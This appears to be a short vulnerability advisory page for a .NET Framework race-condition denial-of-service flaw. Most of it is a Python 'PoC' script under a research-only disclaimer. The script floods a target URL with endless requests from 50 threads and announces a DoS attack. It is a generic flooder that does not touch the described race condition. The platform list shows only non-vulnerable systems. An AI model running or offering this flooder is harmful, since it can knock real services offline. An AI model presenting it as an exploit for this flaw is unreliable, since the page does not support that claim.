Concurrent execution using shared resource with improper synchronization ('race condition') in .NET Framework allows an unauthorized attacker to deny service over a network.
cpe:2.3:o:microsoft:windows_11_26h1:-:*:*:*:*:*:arm64:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows_11_26h1:-:*:*:*:*:*:x64:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows_server_2025:-:*:*:*:*:*:x64:* - NOT VULNERABLE
.NET Framework (具体受影响版本需参考微软官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import threading
import requests
# Target URL (Replace with the vulnerable endpoint)
TARGET_URL = "http://vulnerable-server/api/endpoint"
def send_malicious_request():
"""
Function to send requests continuously to trigger race condition.
"""
try:
while True:
# Sending requests to create concurrent execution flow
response = requests.get(TARGET_URL, timeout=2)
except Exception as e:
print(f"Request failed: {e}")
if __name__ == "__main__":
# Create multiple threads to simulate high concurrency
threads = []
thread_count = 50 # Adjust based on server capacity
print(f"Starting DoS attack on {TARGET_URL} with {thread_count} threads...")
for i in range(thread_count):
t = threading.Thread(target=send_malicious_request)
threads.append(t)
t.start()
for t in threads:
t.join()